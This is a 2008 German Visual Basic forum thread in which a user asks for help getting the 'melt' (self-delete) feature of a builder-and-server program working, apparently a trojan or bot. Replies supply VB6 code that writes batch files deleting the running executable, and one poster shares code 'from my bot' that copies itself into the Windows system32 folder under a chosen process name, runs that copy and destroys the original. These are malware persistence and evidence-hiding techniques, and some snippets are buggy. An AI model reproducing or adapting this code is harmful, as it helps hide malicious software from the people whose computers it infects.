Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181

Melt server geht nicht...
Verfasst am: 11.03.2008, 15:43

Ich weis nicht an was es liegt aber irgendwie geds nicht,kann sich das mal einer ansehen?

builder:

Code:
....
check_melt.Value & "#"
...


Server:

Code:
Public Function Melt()

Open "melt.bat" For Output As #1
Print #1, "sleep 500"
Print #1, "del " & App.EXEName & ".exe"
Print #1, "del melt.bat"
Print #1, "cls"
Print #1, "exit"
Close #1
Shell "melt.bat"
End
End Function
....
Dim meltit As String
meltit = cmd(0)
....
' ganz am schluss von form_load hab ich noch
....
If meltit = "1" Then
Melt
End If

_________________
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425


Verfasst am: 11.03.2008, 15:58

Lass die Funktion einfach beim Schließen der Form ausführen (falls du nicht nur Sub Main benutzt).

Code:
Private Sub Form_Unload()
Open "melt.bat" For Output As #1
If meltit = "1" Then
Print #1, "sleep 500"
Print #1, "del " & App.EXEName & ".exe"
Print #1, "del melt.bat"
Print #1, "cls"
Print #1, "exit"
Close #1
Shell "melt.bat"
Else
Exit Sub
End If
End Sub

So vermeidest du, dass das Programm evtl. zu früh geschlossen wird.
Die Melt Variable muss natürlich als Public deklariert werden.
_________________


Zuletzt bearbeitet von c0re_ am 11.03.2008, 18:39, insgesamt einmal bearbeitet
 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181


Verfasst am: 11.03.2008, 16:04

geht auch nicht
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425


Verfasst am: 11.03.2008, 16:16

Vielleicht wird der Wert in der variable falsch/nicht gespeichert. Lass den Wert von meltit mal in einer MsgBox ausgeben.
_________________
 
Five-Three-Nine_
Tutorial Leser
Tutorial Leser



Anmeldedatum: 23.06.2007
Beiträge: 34


Verfasst am: 11.03.2008, 16:27

Aus meinem Bot:
Code:

If melt = "1" Then
If LCase(App.Path) & "\" & LCase(App.EXEName) & ".exe" <> LCase(Environ("windir") & "\system32\" & LCase(process)) Then
strOldFile = App.Path & "\" & App.EXEName & ".exe"
strNewFile = Environ("windir") & "\system32\" & process
FileCopy strOldFile, strNewFile
Shell Environ("windir") & "\system32\" & process
Call Selfdestruction
End If
End If


Selfdestruction entspricht deiner Bat
Er Löscht sich immer selber wenn er sich nicht in seinem Fixen Zielverzeichniss befindet. Eigentlich ganz einfach zu verstehen.

Wenns nicht das is was du suchtst -> Sry ^.^
Aber wenn gehörts ganz an den Anfang Wink
 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181


Verfasst am: 11.03.2008, 18:19

Wert stimmt,habs getestet und wenn ich nur die funktion und nen button mache gehts auch,aber osn nicht Confused
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 11.03.2008, 18:35

cls und exit sind übrigens komplett sinnlos.
Das wird wahrscheinlich garnichtmehr ausgeführt nachdem sich die bat selber löscht und des CMD Fenster würde sich sowieso schließen.

Beim Shell Aufruf solltest du noch vbhide nutzen.

Noch paar Fragen an dich.

1. Wird die bat Datei überhaupt erstellt?
2. Ist der Code, oder Aufruf zum Code in Form_Unload drinnen?
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425


Verfasst am: 11.03.2008, 18:40

Danke ZiG, es hieß nicht Form_Close sondern Form_Unload. :D
@Threadstarter: So geht's:

Code:
Private Sub Form_Unload()
Open "melt.bat" For Output As #1
If meltit = "1" Then
Print #1, "sleep 500"
Print #1, "del " & App.EXEName & ".exe"
Print #1, "del melt.bat"
Print #1, "cls"
Print #1, "exit"
Close #1
Shell "melt.bat"
Else
Exit Sub
End If
End Sub

_________________
 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181


Verfasst am: 11.03.2008, 19:54

Lol jetzt kommt ein fehler bei
private sub form_unload()

"Deklaration der Prozedur entspricht nicht der Beschreibung eines Ereignisses oder einer prozedur mit dem selben namen"

Der Fehler ist mir aber nicht bekannt^^
Was heißt das?
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 11.03.2008, 19:58

Es heißt
Code:

Private Sub Form_Unload(Cancel As Integer)


Man kann übrigens die Events oben in einer ComboBox auswählen und muß sie so nicht selbst schreiben.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181


Verfasst am: 11.03.2008, 20:06

Geht auch nicht.Geht halt nur wie bei meim code,wenn ich einfahc ein neues projekt mach und da das rein schreib.

Ich hab auch schon probiert einfach hinzuschreiben: meltit = "1"
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212


Verfasst am: 11.03.2008, 20:24

Code:
Private Sub Form_Unload(cancel as integer)

If meltit = "1" Then
dim file as string

file = app.path & "\" & App.EXEName & ".exe"
Open environ$("temp") & "\killme.bat" For binary As #1
bat = "@echo off" & vbCrLf
bat = bat & ":Marke" & vbCrLf
bat = bat & "Del /f /q /s " & Chr(34) & file & Chr(34) & vbCrLf
bat = bat & "If Exist " & Chr(34) & file & Chr(34) & " Goto Marke" & vbCrLf
bat = bat & "del /f /q /s %0"
put #1,,bat
close #1
Shell "melt.bat", vbhide
else
exit sub
end if
End Sub

_________________
http://sollniss.1x.to/



Zuletzt bearbeitet von sollniss_ am 11.03.2008, 20:30, insgesamt einmal bearbeitet
 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181


Verfasst am: 11.03.2008, 20:29

geht auch nicht Crying or Very sad
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212


Verfasst am: 11.03.2008, 20:30

könntest du evtl. nachgucken was in der bat steht, vll. hab ich nen fehler gemacht
_________________
http://sollniss.1x.to/

 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181


Verfasst am: 11.03.2008, 20:55

mir is grad aufgefallen dass die bat nicht erstellt wird,nur wenn ich ein neues projekt mach Confused
Wenn nich drop ich se einfach mit ner res,das wird mir langsam zu blöd
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212


Verfasst am: 11.03.2008, 21:30

was?
wird denn das unload ereigniss überhaupt ausgelöst wenn man bei vb den debug modus stoppt? oder versteh ich da was falsch?
mit dem code müsste es zu 90% funzen wenn keine fehler in der bat sind^^
_________________
http://sollniss.1x.to/

 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181


Verfasst am: 12.03.2008, 12:17


Die bat wird nicht erstellt,obwohl sie erstellt wir wenn ich einfahc ein neues projekt mach
_________________


 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: melt, server

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 868 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2432 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 



[ Time: 0.5280s ][ Queries: 145 (0.0298s) ][ GZIP on - Debug on ]